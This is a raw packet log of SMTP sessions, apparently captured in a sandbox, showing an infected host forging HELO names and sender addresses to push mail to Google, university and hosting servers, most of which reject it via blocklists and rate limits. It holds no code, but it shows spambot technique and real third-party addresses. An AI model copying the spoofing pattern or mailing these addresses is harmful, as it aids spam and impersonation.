Jan 7, 2022 15:57:17.178363085 CET	25	49885	74.125.200.26	192.168.2.4	250 mx.google.com at your service
Jan 7, 2022 15:57:17.178483009 CET	49885	25	192.168.2.4	74.125.200.26	MAIL FROM: <sec@cryptsoft.com>
Jan 7, 2022 15:57:17.546194077 CET	25	49887	74.125.200.27	192.168.2.4	250 mx.google.com at your service
Jan 7, 2022 15:57:17.546366930 CET	49887	25	192.168.2.4	74.125.200.27	MAIL FROM: <sec@kinoho.net>
Jan 7, 2022 15:57:17.679452896 CET	25	49885	74.125.200.26	192.168.2.4	250 2.1.0 OK y15si5367366plp.88 - gsmtp
Jan 7, 2022 15:57:17.679569960 CET	49885	25	192.168.2.4	74.125.200.26	RCPT TO: <eay@cryptsoft.com>
Jan 7, 2022 15:57:18.048038006 CET	25	49887	74.125.200.27	192.168.2.4	250 2.1.0 OK k2si4904111pgq.560 - gsmtp
Jan 7, 2022 15:57:18.048259020 CET	49887	25	192.168.2.4	74.125.200.27	RCPT TO: <greg@kinoho.net>
Jan 7, 2022 15:57:18.193865061 CET	25	49885	74.125.200.26	192.168.2.4	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser y15si5367366plp.88 - gsmtp
Jan 7, 2022 15:57:18.193989992 CET	49885	25	192.168.2.4	74.125.200.26	QUIT
Jan 7, 2022 15:57:18.250515938 CET	25	49889	108.177.127.27	192.168.2.4	220 mx.google.com ESMTP h7si2284115ejl.487 - gsmtp
Jan 7, 2022 15:57:18.250619888 CET	49889	25	192.168.2.4	108.177.127.27	HELO aspmx.l.google.com
Jan 7, 2022 15:57:18.283775091 CET	25	49889	108.177.127.27	192.168.2.4	250 mx.google.com at your service
Jan 7, 2022 15:57:18.283917904 CET	49889	25	192.168.2.4	108.177.127.27	MAIL FROM: <sec@cryptsoft.com>
Jan 7, 2022 15:57:18.314412117 CET	25	49889	108.177.127.27	192.168.2.4	250 2.1.0 OK h7si2284115ejl.487 - gsmtp
Jan 7, 2022 15:57:18.314517975 CET	49889	25	192.168.2.4	108.177.127.27	RCPT TO: <eay@cryptsoft.com>
Jan 7, 2022 15:57:18.354037046 CET	25	49889	108.177.127.27	192.168.2.4	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser h7si2284115ejl.487 - gsmtp
Jan 7, 2022 15:57:18.354209900 CET	49889	25	192.168.2.4	108.177.127.27	QUIT
Jan 7, 2022 15:57:18.381241083 CET	25	49889	108.177.127.27	192.168.2.4	221 2.0.0 closing connection h7si2284115ejl.487 - gsmtp
Jan 7, 2022 15:57:18.465428114 CET	25	49890	142.250.150.27	192.168.2.4	220 mx.google.com ESMTP k3si6299387lfr.192 - gsmtp
Jan 7, 2022 15:57:18.465552092 CET	49890	25	192.168.2.4	142.250.150.27	HELO alt1.aspmx.l.google.com
Jan 7, 2022 15:57:18.521748066 CET	25	49890	142.250.150.27	192.168.2.4	250 mx.google.com at your service
Jan 7, 2022 15:57:18.521845102 CET	49890	25	192.168.2.4	142.250.150.27	MAIL FROM: <sec@cryptsoft.com>
Jan 7, 2022 15:57:18.553733110 CET	25	49887	74.125.200.27	192.168.2.4	450-4.2.1 The user you are trying to contact is receiving mail at a rate that 450-4.2.1 prevents additional messages from being delivered. Please resend your 450-4.2.1 message at a later time. If the user is able to receive mail at that 450-4.2.1 time, your message will be delivered. For more information, please 450-4.2.1 visit 450 4.2.1 https://support.google.com/mail/?p=ReceivingRate k2si4904111pgq.560 - gsmtp
Jan 7, 2022 15:57:18.553867102 CET	49887	25	192.168.2.4	74.125.200.27	QUIT
Jan 7, 2022 15:57:18.574429989 CET	25	49890	142.250.150.27	192.168.2.4	250 2.1.0 OK k3si6299387lfr.192 - gsmtp
Jan 7, 2022 15:57:18.574567080 CET	49890	25	192.168.2.4	142.250.150.27	RCPT TO: <eay@cryptsoft.com>
Jan 7, 2022 15:57:18.639830112 CET	25	49890	142.250.150.27	192.168.2.4	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser k3si6299387lfr.192 - gsmtp
Jan 7, 2022 15:57:18.639965057 CET	49890	25	192.168.2.4	142.250.150.27	QUIT
Jan 7, 2022 15:57:18.692648888 CET	25	49890	142.250.150.27	192.168.2.4	221 2.0.0 closing connection k3si6299387lfr.192 - gsmtp
Jan 7, 2022 15:57:18.693859100 CET	25	49885	74.125.200.26	192.168.2.4	221 2.0.0 closing connection y15si5367366plp.88 - gsmtp
Jan 7, 2022 15:57:18.746134043 CET	25	49892	142.250.150.27	192.168.2.4	220 mx.google.com ESMTP m12si6998316lfg.378 - gsmtp
Jan 7, 2022 15:57:18.746361971 CET	49892	25	192.168.2.4	142.250.150.27	HELO aspmx2.googlemail.com
Jan 7, 2022 15:57:18.800481081 CET	25	49892	142.250.150.27	192.168.2.4	250 mx.google.com at your service
Jan 7, 2022 15:57:18.800599098 CET	49892	25	192.168.2.4	142.250.150.27	MAIL FROM: <sec@cryptsoft.com>
Jan 7, 2022 15:57:18.853221893 CET	25	49892	142.250.150.27	192.168.2.4	250 2.1.0 OK m12si6998316lfg.378 - gsmtp
Jan 7, 2022 15:57:18.853358984 CET	49892	25	192.168.2.4	142.250.150.27	RCPT TO: <eay@cryptsoft.com>
Jan 7, 2022 15:57:18.917582989 CET	25	49892	142.250.150.27	192.168.2.4	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser m12si6998316lfg.378 - gsmtp
Jan 7, 2022 15:57:18.917676926 CET	49892	25	192.168.2.4	142.250.150.27	QUIT
Jan 7, 2022 15:57:18.969990969 CET	25	49892	142.250.150.27	192.168.2.4	221 2.0.0 closing connection m12si6998316lfg.378 - gsmtp
Jan 7, 2022 15:57:19.406533957 CET	25	49891	74.125.200.27	192.168.2.4	220 mx.google.com ESMTP c22si5263432pls.413 - gsmtp
Jan 7, 2022 15:57:19.406680107 CET	49891	25	192.168.2.4	74.125.200.27	HELO aspmx3.googlemail.com
Jan 7, 2022 15:57:19.767205000 CET	25	49893	74.125.200.27	192.168.2.4	220 mx.google.com ESMTP s15si5760146pfk.26 - gsmtp
Jan 7, 2022 15:57:19.777725935 CET	49893	25	192.168.2.4	74.125.200.27	HELO aspmx3.googlemail.com
Jan 7, 2022 15:57:19.913486958 CET	25	49891	74.125.200.27	192.168.2.4	250 mx.google.com at your service
Jan 7, 2022 15:57:19.913803101 CET	49891	25	192.168.2.4	74.125.200.27	MAIL FROM: <sec@kinoho.net>
Jan 7, 2022 15:57:20.279937983 CET	25	49893	74.125.200.27	192.168.2.4	250 mx.google.com at your service
Jan 7, 2022 15:57:20.415543079 CET	25	49891	74.125.200.27	192.168.2.4	250 2.1.0 OK c22si5263432pls.413 - gsmtp
Jan 7, 2022 15:57:20.464114904 CET	49893	25	192.168.2.4	74.125.200.27	MAIL FROM: <sec@cryptsoft.com>
Jan 7, 2022 15:57:20.464145899 CET	49891	25	192.168.2.4	74.125.200.27	RCPT TO: <greg@kinoho.net>
Jan 7, 2022 15:57:20.966495037 CET	25	49893	74.125.200.27	192.168.2.4	250 2.1.0 OK s15si5760146pfk.26 - gsmtp
Jan 7, 2022 15:57:20.966650009 CET	49893	25	192.168.2.4	74.125.200.27	RCPT TO: <eay@cryptsoft.com>
Jan 7, 2022 15:57:20.972747087 CET	25	49891	74.125.200.27	192.168.2.4	450-4.2.1 The user you are trying to contact is receiving mail at a rate that 450-4.2.1 prevents additional messages from being delivered. Please resend your 450-4.2.1 message at a later time. If the user is able to receive mail at that 450-4.2.1 time, your message will be delivered. For more information, please 450-4.2.1 visit 450 4.2.1 https://support.google.com/mail/?p=ReceivingRate c22si5263432pls.413 - gsmtp
Jan 7, 2022 15:57:20.973007917 CET	49891	25	192.168.2.4	74.125.200.27	QUIT
Jan 7, 2022 15:57:21.476608992 CET	25	49893	74.125.200.27	192.168.2.4	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser s15si5760146pfk.26 - gsmtp
Jan 7, 2022 15:57:21.476670027 CET	25	49891	74.125.200.27	192.168.2.4	221 2.0.0 closing connection c22si5263432pls.413 - gsmtp
Jan 7, 2022 15:57:22.491905928 CET	49893	25	192.168.2.4	74.125.200.27	QUIT
Jan 7, 2022 15:57:22.989289999 CET	25	49893	74.125.200.27	192.168.2.4	221 2.0.0 closing connection s15si5760146pfk.26 - gsmtp
Jan 7, 2022 15:57:31.431921959 CET	25	49898	195.29.173.138	192.168.2.4	554-ma-01.vlada.hr 554 Your access to this mail system has been rejected due to the sending MTA's poor reputation. If you believe that this failure is in error, please contact the intended recipient via alternate means.
Jan 7, 2022 15:57:31.495079041 CET	25	49899	195.29.173.139	192.168.2.4	554-ma-01.vlada.hr 554 Your access to this mail system has been rejected due to the sending MTA's poor reputation. If you believe that this failure is in error, please contact the intended recipient via alternate means.
Jan 7, 2022 15:57:33.769062996 CET	25	49878	185.175.124.58	192.168.2.4	220-mxbck.leonet.it ESMTP Exim 4.94.2 #2 Fri, 07 Jan 2022 15:57:33 +0100 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 7, 2022 15:57:33.769452095 CET	49878	25	192.168.2.4	185.175.124.58	HELO mxbck.leonet.it
Jan 7, 2022 15:57:33.806030989 CET	25	49878	185.175.124.58	192.168.2.4	250 mxbck.leonet.it Hello mxbck.leonet.it [102.129.143.96]
Jan 7, 2022 15:57:33.806158066 CET	49878	25	192.168.2.4	185.175.124.58	MAIL FROM: <serv@orice.com>
Jan 7, 2022 15:57:33.842690945 CET	25	49878	185.175.124.58	192.168.2.4	250 OK
Jan 7, 2022 15:57:33.842854023 CET	49878	25	192.168.2.4	185.175.124.58	RCPT TO: <cineva@orice.com>
Jan 7, 2022 15:57:34.190944910 CET	25	49880	176.223.123.126	192.168.2.4	220-cloud308.mxserver.ro ESMTP Exim 4.94.2 #2 Fri, 07 Jan 2022 16:57:34 +0200 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 7, 2022 15:57:34.191199064 CET	49880	25	192.168.2.4	176.223.123.126	HELO ppp.ro
Jan 7, 2022 15:57:34.230494976 CET	25	49880	176.223.123.126	192.168.2.4	250 cloud308.mxserver.ro Hello ppp.ro [102.129.143.96]
Jan 7, 2022 15:57:34.230679035 CET	49880	25	192.168.2.4	176.223.123.126	MAIL FROM: <maria.baker@email.myway.com>
Jan 7, 2022 15:57:34.270131111 CET	25	49880	176.223.123.126	192.168.2.4	250 OK
Jan 7, 2022 15:57:34.270489931 CET	49880	25	192.168.2.4	176.223.123.126	RCPT TO: <reg@ppp.ro>
Jan 7, 2022 15:57:38.221576929 CET	25	49905	108.177.119.26	192.168.2.4	220 mx.google.com ESMTP hc10si2155118ejc.700 - gsmtp
Jan 7, 2022 15:57:38.222223997 CET	49905	25	192.168.2.4	108.177.119.26	HELO aspmx.l.google.com
Jan 7, 2022 15:57:38.252924919 CET	25	49905	108.177.119.26	192.168.2.4	250 mx.google.com at your service
Jan 7, 2022 15:57:38.253129005 CET	49905	25	192.168.2.4	108.177.119.26	MAIL FROM: <linda.adams@inbox.com>
Jan 7, 2022 15:57:38.280390978 CET	25	49905	108.177.119.26	192.168.2.4	250 2.1.0 OK hc10si2155118ejc.700 - gsmtp
Jan 7, 2022 15:57:38.280483961 CET	49905	25	192.168.2.4	108.177.119.26	RCPT TO: <tjh@cryptsoft.com>
Jan 7, 2022 15:57:38.322735071 CET	25	49905	108.177.119.26	192.168.2.4	450-4.2.1 The user you are trying to contact is receiving mail at a rate that 450-4.2.1 prevents additional messages from being delivered. Please resend your 450-4.2.1 message at a later time. If the user is able to receive mail at that 450-4.2.1 time, your message will be delivered. For more information, please 450-4.2.1 visit 450 4.2.1 https://support.google.com/mail/?p=ReceivingRate hc10si2155118ejc.700 - gsmtp
Jan 7, 2022 15:57:38.322990894 CET	49905	25	192.168.2.4	108.177.119.26	QUIT
Jan 7, 2022 15:57:38.373728037 CET	25	49909	185.132.181.97	192.168.2.4	220 mx07-00377f01.pphosted.com ESMTP mfa-m0169134
Jan 7, 2022 15:57:38.376472950 CET	49909	25	192.168.2.4	185.132.181.97	HELO mxa-00377f01.gslb.pphosted.com
Jan 7, 2022 15:57:38.400037050 CET	25	49909	185.132.181.97	192.168.2.4	250 mx07-00377f01.pphosted.com Hello [102.129.143.96], pleased to meet you
Jan 7, 2022 15:57:38.400187016 CET	49909	25	192.168.2.4	185.132.181.97	MAIL FROM: <mancy1981@goowy.com>
Jan 7, 2022 15:57:38.423888922 CET	25	49909	185.132.181.97	192.168.2.4	250 2.1.0 Sender ok
Jan 7, 2022 15:57:38.424333096 CET	49909	25	192.168.2.4	185.132.181.97	RCPT TO: <grady@northcoast.com>
Jan 7, 2022 15:57:38.430772066 CET	25	49903	216.200.145.235	192.168.2.4	220 m0116277.mta.everyone.net ESMTP EON-INBOUND
Jan 7, 2022 15:57:38.430943012 CET	49903	25	192.168.2.4	216.200.145.235	HELO ismtp.sitestar.everyone.net
Jan 7, 2022 15:57:38.430969954 CET	25	49908	142.250.150.26	192.168.2.4	220 mx.google.com ESMTP x20si6598328ljp.34 - gsmtp
Jan 7, 2022 15:57:38.432065010 CET	49908	25	192.168.2.4	142.250.150.26	HELO aspmx2.googlemail.com
Jan 7, 2022 15:57:38.450357914 CET	25	49909	185.132.181.97	192.168.2.4	250 2.1.5 Recipient ok
Jan 7, 2022 15:57:38.453496933 CET	49909	25	192.168.2.4	185.132.181.97	DATA
Jan 7, 2022 15:57:38.471622944 CET	25	49909	185.132.181.97	192.168.2.4	354 Enter mail, end with "." on a line by itself
Jan 7, 2022 15:57:38.486710072 CET	25	49908	142.250.150.26	192.168.2.4	250 mx.google.com at your service
Jan 7, 2022 15:57:38.486834049 CET	49908	25	192.168.2.4	142.250.150.26	MAIL FROM: <linda.adams@inbox.com>
Jan 7, 2022 15:57:38.539005995 CET	25	49908	142.250.150.26	192.168.2.4	250 2.1.0 OK x20si6598328ljp.34 - gsmtp
Jan 7, 2022 15:57:38.539114952 CET	49908	25	192.168.2.4	142.250.150.26	RCPT TO: <tjh@cryptsoft.com>
Jan 7, 2022 15:57:38.601908922 CET	25	49907	173.228.157.39	192.168.2.4	220 pb-mx20.pobox.com ESMTP Postfix
Jan 7, 2022 15:57:38.602085114 CET	25	49908	142.250.150.26	192.168.2.4	450-4.2.1 The user you are trying to contact is receiving mail at a rate that 450-4.2.1 prevents additional messages from being delivered. Please resend your 450-4.2.1 message at a later time. If the user is able to receive mail at that 450-4.2.1 time, your message will be delivered. For more information, please 450-4.2.1 visit 450 4.2.1 https://support.google.com/mail/?p=ReceivingRate x20si6598328ljp.34 - gsmtp
Jan 7, 2022 15:57:38.602102041 CET	49907	25	192.168.2.4	173.228.157.39	HELO pb-mx20.pobox.com
Jan 7, 2022 15:57:38.602176905 CET	49908	25	192.168.2.4	142.250.150.26	QUIT
Jan 7, 2022 15:57:38.610831976 CET	25	49903	216.200.145.235	192.168.2.4	250 m0116277.mta.everyone.net
Jan 7, 2022 15:57:38.610985994 CET	49903	25	192.168.2.4	216.200.145.235	MAIL FROM: <mancy.rodriguez@goowy.com>
Jan 7, 2022 15:57:38.708379984 CET	25	49912	142.250.150.27	192.168.2.4	220 mx.google.com ESMTP r8si5382344ljp.329 - gsmtp
Jan 7, 2022 15:57:38.711004972 CET	49912	25	192.168.2.4	142.250.150.27	HELO alt1.aspmx.l.google.com
Jan 7, 2022 15:57:38.762738943 CET	25	49907	173.228.157.39	192.168.2.4	250 pb-mx20.pobox.com
Jan 7, 2022 15:57:38.762841940 CET	49907	25	192.168.2.4	173.228.157.39	MAIL FROM: <joe.nelson@gmail.com>
Jan 7, 2022 15:57:38.766988039 CET	25	49912	142.250.150.27	192.168.2.4	250 mx.google.com at your service
Jan 7, 2022 15:57:38.768107891 CET	49912	25	192.168.2.4	142.250.150.27	MAIL FROM: <linda.adams@inbox.com>
Jan 7, 2022 15:57:38.791095972 CET	25	49903	216.200.145.235	192.168.2.4	250 Sender okay
Jan 7, 2022 15:57:38.791260958 CET	49903	25	192.168.2.4	216.200.145.235	RCPT TO: <thegrendel@theriver.com>
Jan 7, 2022 15:57:38.820909977 CET	25	49912	142.250.150.27	192.168.2.4	250 2.1.0 OK r8si5382344ljp.329 - gsmtp
Jan 7, 2022 15:57:38.821306944 CET	49912	25	192.168.2.4	142.250.150.27	RCPT TO: <tjh@cryptsoft.com>
Jan 7, 2022 15:57:38.883079052 CET	25	49912	142.250.150.27	192.168.2.4	450-4.2.1 The user you are trying to contact is receiving mail at a rate that 450-4.2.1 prevents additional messages from being delivered. Please resend your 450-4.2.1 message at a later time. If the user is able to receive mail at that 450-4.2.1 time, your message will be delivered. For more information, please 450-4.2.1 visit 450 4.2.1 https://support.google.com/mail/?p=ReceivingRate r8si5382344ljp.329 - gsmtp
Jan 7, 2022 15:57:38.883223057 CET	49912	25	192.168.2.4	142.250.150.27	QUIT
Jan 7, 2022 15:57:38.923752069 CET	25	49907	173.228.157.39	192.168.2.4	250 2.1.0 Ok
Jan 7, 2022 15:57:38.923846960 CET	49907	25	192.168.2.4	173.228.157.39	RCPT TO: <biljir@pobox.com>
Jan 7, 2022 15:57:38.989748001 CET	49909	25	192.168.2.4	185.132.181.97	. QUIT
Jan 7, 2022 15:57:39.006238937 CET	25	49909	185.132.181.97	192.168.2.4	250 2.0.0 3de4vwy3kh-1 Message accepted for delivery 221 2.0.0 mx07-00377f01.pphosted.com Closing connection
Jan 7, 2022 15:57:39.038888931 CET	25	49903	216.200.145.235	192.168.2.4	550 Recipient Rejected: Access Denied: 102.129.143.96 blocked by prs
Jan 7, 2022 15:57:39.039043903 CET	49903	25	192.168.2.4	216.200.145.235	QUIT
Jan 7, 2022 15:57:39.106111050 CET	25	49907	173.228.157.39	192.168.2.4	250 2.1.5 Ok
Jan 7, 2022 15:57:39.107598066 CET	49907	25	192.168.2.4	173.228.157.39	DATA
Jan 7, 2022 15:57:39.219187975 CET	25	49903	216.200.145.235	192.168.2.4	221 Bye
Jan 7, 2022 15:57:39.268409014 CET	25	49907	173.228.157.39	192.168.2.4	354 End data with <CR><LF>.<CR><LF>
Jan 7, 2022 15:57:39.401526928 CET	25	49902	51.81.57.58	192.168.2.4	550 5.7.1 Connection refused - OXSUS002_105 - https://postmaster-oxsus.vadesecure.com/#OXSUS002_105
Jan 7, 2022 15:57:39.736002922 CET	25	49914	74.125.200.27	192.168.2.4	220 mx.google.com ESMTP n6si6242408plh.23 - gsmtp
Jan 7, 2022 15:57:39.736246109 CET	49914	25	192.168.2.4	74.125.200.27	HELO alt2.aspmx.l.google.com
Jan 7, 2022 15:57:40.238929987 CET	25	49914	74.125.200.27	192.168.2.4	250 mx.google.com at your service
Jan 7, 2022 15:57:40.239058018 CET	49914	25	192.168.2.4	74.125.200.27	MAIL FROM: <linda.adams@inbox.com>
Jan 7, 2022 15:57:40.741754055 CET	25	49914	74.125.200.27	192.168.2.4	250 2.1.0 OK n6si6242408plh.23 - gsmtp
Jan 7, 2022 15:57:40.741902113 CET	49914	25	192.168.2.4	74.125.200.27	RCPT TO: <tjh@cryptsoft.com>
Jan 7, 2022 15:57:40.974313974 CET	25	49918	51.81.57.59	192.168.2.4	550 5.7.1 Connection refused - OXSUS002_105 - https://postmaster-oxsus.vadesecure.com/#OXSUS002_105
Jan 7, 2022 15:57:41.249051094 CET	25	49914	74.125.200.27	192.168.2.4	450-4.2.1 The user you are trying to contact is receiving mail at a rate that 450-4.2.1 prevents additional messages from being delivered. Please resend your 450-4.2.1 message at a later time. If the user is able to receive mail at that 450-4.2.1 time, your message will be delivered. For more information, please 450-4.2.1 visit 450 4.2.1 https://support.google.com/mail/?p=ReceivingRate n6si6242408plh.23 - gsmtp
Jan 7, 2022 15:57:41.249167919 CET	49914	25	192.168.2.4	74.125.200.27	QUIT
Jan 7, 2022 15:57:41.578584909 CET	49907	25	192.168.2.4	173.228.157.39	. QUIT
Jan 7, 2022 15:57:41.714617968 CET	25	49927	140.78.3.68	192.168.2.4	220 mail1.edvz.uni-linz.ac.at ESMTP
Jan 7, 2022 15:57:41.714704990 CET	49927	25	192.168.2.4	140.78.3.68	HELO mail1.edvz.uni-linz.ac.at
Jan 7, 2022 15:57:41.737941027 CET	25	49927	140.78.3.68	192.168.2.4	250 mail1.edvz.uni-linz.ac.at Hello [102.129.143.96], pleased to meet you
Jan 7, 2022 15:57:41.738037109 CET	49927	25	192.168.2.4	140.78.3.68	MAIL FROM: <young1998@inbox.com>
Jan 7, 2022 15:57:41.749005079 CET	25	49914	74.125.200.27	192.168.2.4	221 2.0.0 closing connection n6si6242408plh.23 - gsmtp
Jan 7, 2022 15:57:41.761249065 CET	25	49927	140.78.3.68	192.168.2.4	550 5.7.1 Mail from 102.129.143.96 rejected using zen.spamhaus.org. Please see http://www.spamhaus.org/query/bl?ip=102.129.143.96
Jan 7, 2022 15:57:41.761346102 CET	49927	25	192.168.2.4	140.78.3.68	QUIT
Jan 7, 2022 15:57:41.784569979 CET	25	49927	140.78.3.68	192.168.2.4	221 2.0.0 mail1.edvz.uni-linz.ac.at closing connection
Jan 7, 2022 15:57:41.894499063 CET	25	49929	140.78.3.69	192.168.2.4	220 mail2.edvz.uni-linz.ac.at ESMTP
Jan 7, 2022 15:57:41.894623041 CET	49929	25	192.168.2.4	140.78.3.69	HELO mail2.edvz.uni-linz.ac.at
Jan 7, 2022 15:57:41.918025970 CET	25	49929	140.78.3.69	192.168.2.4	250 mail2.edvz.uni-linz.ac.at Hello [102.129.143.96], pleased to meet you
Jan 7, 2022 15:57:41.918231010 CET	49929	25	192.168.2.4	140.78.3.69	MAIL FROM: <young1998@inbox.com>
Jan 7, 2022 15:57:41.941205025 CET	25	49929	140.78.3.69	192.168.2.4	550 5.7.1 Mail from 102.129.143.96 rejected using zen.spamhaus.org. Please see http://www.spamhaus.org/query/bl?ip=102.129.143.96
Jan 7, 2022 15:57:41.941298008 CET	49929	25	192.168.2.4	140.78.3.69	QUIT
Jan 7, 2022 15:57:41.964345932 CET	25	49929	140.78.3.69	192.168.2.4	221 2.0.0 mail2.edvz.uni-linz.ac.at closing connection
Jan 7, 2022 15:57:42.042402983 CET	25	49930	140.78.3.82	192.168.2.4	220 mail4.edvz.uni-linz.ac.at ESMTP
Jan 7, 2022 15:57:42.042757034 CET	49930	25	192.168.2.4	140.78.3.82	HELO mail4.edvz.uni-linz.ac.at
Jan 7, 2022 15:57:42.065819979 CET	25	49930	140.78.3.82	192.168.2.4	250 mail4.edvz.uni-linz.ac.at Hello [102.129.143.96], pleased to meet you
Jan 7, 2022 15:57:42.066098928 CET	49930	25	192.168.2.4	140.78.3.82	MAIL FROM: <young1998@inbox.com>
Jan 7, 2022 15:57:42.091243982 CET	25	49930	140.78.3.82	192.168.2.4	550 5.7.1 Mail from 102.129.143.96 rejected using zen.spamhaus.org. Please see http://www.spamhaus.org/query/bl?ip=102.129.143.96
Jan 7, 2022 15:57:42.091378927 CET	49930	25	192.168.2.4	140.78.3.82	QUIT
Jan 7, 2022 15:57:42.104619026 CET	25	49926	74.125.200.27	192.168.2.4	220 mx.google.com ESMTP w24si5260424pgh.613 - gsmtp
Jan 7, 2022 15:57:42.104799032 CET	49926	25	192.168.2.4	74.125.200.27	HELO aspmx3.googlemail.com
Jan 7, 2022 15:57:42.115562916 CET	25	49930	140.78.3.82	192.168.2.4	221 2.0.0 mail4.edvz.uni-linz.ac.at closing connection
Jan 7, 2022 15:57:42.154670000 CET	25	49907	173.228.157.39	192.168.2.4	250 2.0.0 Queued as 42E6D7540CA 221 2.0.0 Bye
Jan 7, 2022 15:57:42.330385923 CET	25	49931	140.78.3.83	192.168.2.4	220 mail3.edvz.uni-linz.ac.at ESMTP
Jan 7, 2022 15:57:42.330502033 CET	49931	25	192.168.2.4	140.78.3.83	HELO mail3.edvz.uni-linz.ac.at
Jan 7, 2022 15:57:42.353669882 CET	25	49931	140.78.3.83	192.168.2.4	250 mail3.edvz.uni-linz.ac.at Hello [102.129.143.96], pleased to meet you
Jan 7, 2022 15:57:42.353790998 CET	49931	25	192.168.2.4	140.78.3.83	MAIL FROM: <young1998@inbox.com>
Jan 7, 2022 15:57:42.377005100 CET	25	49931	140.78.3.83	192.168.2.4	550 5.7.1 Mail from 102.129.143.96 rejected using zen.spamhaus.org. Please see http://www.spamhaus.org/query/bl?ip=102.129.143.96
Jan 7, 2022 15:57:42.377106905 CET	49931	25	192.168.2.4	140.78.3.83	QUIT
Jan 7, 2022 15:57:42.400099993 CET	25	49931	140.78.3.83	192.168.2.4	221 2.0.0 mail3.edvz.uni-linz.ac.at closing connection
Jan 7, 2022 15:57:42.612390995 CET	25	49926	74.125.200.27	192.168.2.4	250 mx.google.com at your service
Jan 7, 2022 15:57:42.638974905 CET	49926	25	192.168.2.4	74.125.200.27	MAIL FROM: <linda.adams@inbox.com>
Jan 7, 2022 15:57:43.075938940 CET	25	49901	131.111.8.149	192.168.2.4	220 ppsw-43.csi.cam.ac.uk (mx.cam.ac.uk [131.111.8.149]:25) ESMTP Exim 4.95-0 Fri, 07 Jan 2022 14:57:43 +0000
Jan 7, 2022 15:57:43.076283932 CET	49901	25	192.168.2.4	131.111.8.149	HELO mx.cam.ac.uk
Jan 7, 2022 15:57:43.145701885 CET	25	49926	74.125.200.27	192.168.2.4	250 2.1.0 OK w24si5260424pgh.613 - gsmtp
Jan 7, 2022 15:57:43.145898104 CET	49926	25	192.168.2.4	74.125.200.27	RCPT TO: <tjh@cryptsoft.com>
Jan 7, 2022 15:57:43.660737038 CET	25	49926	74.125.200.27	192.168.2.4	450-4.2.1 The user you are trying to contact is receiving mail at a rate that 450-4.2.1 prevents additional messages from being delivered. Please resend your 450-4.2.1 message at a later time. If the user is able to receive mail at that 450-4.2.1 time, your message will be delivered. For more information, please 450-4.2.1 visit 450 4.2.1 https://support.google.com/mail/?p=ReceivingRate w24si5260424pgh.613 - gsmtp
Jan 7, 2022 15:57:43.776243925 CET	49926	25	192.168.2.4	74.125.200.27	QUIT
Jan 7, 2022 15:57:43.940603018 CET	25	49910	192.254.190.168	192.168.2.4	220-gator3194.hostgator.com ESMTP Exim 4.94.2 #2 Fri, 07 Jan 2022 08:57:43 -0600 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 7, 2022 15:57:43.940732956 CET	49910	25	192.168.2.4	192.254.190.168	HELO onlineconnections.com.au
Jan 7, 2022 15:57:44.038278103 CET	25	49924	51.81.242.59	192.168.2.4	550 5.7.1 Connection refused - OXSUS002_105 - https://postmaster-oxsus.vadesecure.com/#OXSUS002_105
Jan 7, 2022 15:57:44.096827984 CET	25	49910	192.254.190.168	192.168.2.4	250 gator3194.hostgator.com Hello onlineconnections.com.au [102.129.143.96]
Jan 7, 2022 15:57:44.096946955 CET	49910	25	192.168.2.4	192.254.190.168	MAIL FROM: <sec@onlineconnections.com.au>
Jan 7, 2022 15:57:44.254513025 CET	25	49910	192.254.190.168	192.168.2.4	250 OK
Jan 7, 2022 15:57:44.254637003 CET	49910	25	192.168.2.4	192.254.190.168	RCPT TO: <audictionary@onlineconnections.com.au>
Jan 7, 2022 15:57:44.588514090 CET	25	49917	216.105.38.6	192.168.2.4	220 mx.sourceforge.net ESMTP Fri, 07 Jan 2022 14:57:44 +0000
Jan 7, 2022 15:57:44.588635921 CET	49917	25	192.168.2.4	216.105.38.6	HELO mx.sourceforge.net
Jan 7, 2022 15:57:44.758717060 CET	25	49917	216.105.38.6	192.168.2.4	250 sfi-mx-1.v28.lw.sourceforge.com Hello mx.sourceforge.net [102.129.143.96]
Jan 7, 2022 15:57:44.758893967 CET	49917	25	192.168.2.4	216.105.38.6	MAIL FROM: <adam.gonzalez@care2.com>
Jan 7, 2022 15:57:44.927599907 CET	25	49917	216.105.38.6	192.168.2.4	250 OK
Jan 7, 2022 15:57:45.531203985 CET	25	49932	51.81.242.150	192.168.2.4	550 5.7.1 Connection refused - OXSUS002_105 - https://postmaster-oxsus.vadesecure.com/#OXSUS002_105
Jan 7, 2022 15:57:48.115679979 CET	25	49901	131.111.8.149	192.168.2.4	250 ppsw-43.csi.cam.ac.uk Hello mx.cam.ac.uk [102.129.143.96]
Jan 7, 2022 15:57:48.350260019 CET	25	49901	131.111.8.149	192.168.2.4	250 ppsw-43.csi.cam.ac.uk Hello mx.cam.ac.uk [102.129.143.96]
Jan 7, 2022 15:57:49.447916031 CET	25	49910	192.254.190.168	192.168.2.4	550-Verification failed for <sec@onlineconnections.com.au> 550-No Such User Here" 550 Sender verify failed
Jan 7, 2022 15:57:50.891542912 CET	49917	25	192.168.2.4	216.105.38.6	RCPT TO: <ebxmlrr-team@lists.sourceforge.net>
Jan 7, 2022 15:57:50.892565966 CET	49901	25	192.168.2.4	131.111.8.149	MAIL FROM: <adam.nelson@mail.aim.com>
Jan 7, 2022 15:57:50.892935991 CET	49910	25	192.168.2.4	192.254.190.168	QUIT
Jan 7, 2022 15:57:51.057780027 CET	25	49910	192.254.190.168	192.168.2.4	221 gator3194.hostgator.com closing connection
